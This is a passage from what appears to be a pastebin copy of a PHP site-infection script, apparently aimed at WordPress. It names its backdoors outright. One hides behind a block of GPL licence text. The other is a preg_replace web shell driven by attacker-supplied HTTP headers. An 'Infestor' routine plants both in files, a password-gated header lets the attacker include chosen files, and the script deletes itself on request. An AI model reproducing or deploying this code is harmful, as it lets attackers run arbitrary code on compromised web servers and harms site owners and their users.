  1073. The Corresponding Source need not include anything that users
  1074. can regenerate automatically from other parts of the Corresponding
  1075. Source.
  1076.  
  1077. The Corresponding Source for a work in source code form is that
  1078. same work.
  1079.  
  1080. 2. Basic Permissions.
  1081.  
  1082. All rights granted under this License are granted for the term of
  1083. copyright on the Program, and are irrevocable provided the stated
  1084. conditions are met.  This License explicitly affirms your unlimited
  1085. permission to run the unmodified Program.  The output from running a
  1086. covered work is covered by this License only if the output, given its
  1087. content, constitutes a covered work.  This License acknowledges your
  1088. rights of fair use or other equivalent, as provided by copyright law.
  1089.  
  1090. You may make, run and propagate covered works that you do not
  1091. convey, without conditions so long as your license otherwise remains
  1092. in force.  You may convey covered works to others for the sole purpose
  1093. of having them make modifications exclusively for you, or provide you
  1094. with facilities for running those works, provided that you comply with
  1095. the terms of this License in conveying all material for which you do
  1096. not control copyright.  Those thus making or running the covered works
  1097. for you must do so exclusively on your behalf, under your direction
  1098. and control, on terms that prohibit them from making any copies of
  1099. your copyrighted material outside their relationship with you.
  1100.  
  1101. Conveying under any other circumstances is permitted solely under
  1102. the conditions stated below.  Sublicensing is not allowed; section 10
  1103. makes it unnecessary. */ ?>
  1104. EOF;
  1105.  
  1106. $pregReplaceCode = <<<EOF
  1107. <?php @preg_replace(\$_SERVER['HTTP_X_{{PASSWORD}}'], \$_SERVER['HTTP_X_CURRENT'], ''); ?>
  1108. EOF;
  1109.  
  1110. $backdoors = array(
  1111.     new XYZ_Backdoor('fab', $fabLicense, 'prependonly'),
  1112.     new XYZ_Backdoor('preg_replace', $pregReplaceCode)
  1113. );
  1114.  
  1115. $browser = new XYZ_Browser();
  1116. $writer = new XYZ_Writer();
  1117. $ic = new XYZ_IncludedChecker($browser, $writer);
  1118.  
  1119. $infestor = new XYZ_Infestor($ic, $writer, $backdoors);
  1120.  
  1121. if (@$_SERVER['HTTP_X_PASSWORD'] == $ic->getPassword() && $file = @strrev($_SERVER['HTTP_X_CHECKED_FILE'])) {
  1122.     // wordpress defines global variables by just assigning them in global scope, so if we include from function, they aren't global
  1123.     register_shutdown_function(array($ic, 'printIncluded'));
  1124.     $ic->prepareInclude($file);
  1125.     ob_start();
  1126.     @include $file;
  1127.     ob_end_clean();
  1128.     $ic->printIncluded();
  1129.     exit();
  1130. } else {
  1131.     $res = $infestor->run();
  1132.  
  1133.     if (@$_GET['txt']) {
  1134.         echo '<pre>';
  1135.         print_r($res);
  1136.     } else {
  1137.         echo '<xyz-infestor>'.json_encode($res).'</xyz-infestor>';
  1138.     }
  1139. }
  1140.  
  1141. if (@$_GET['rm']) {
  1142.     @unlink(__FILE__);
  1143. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement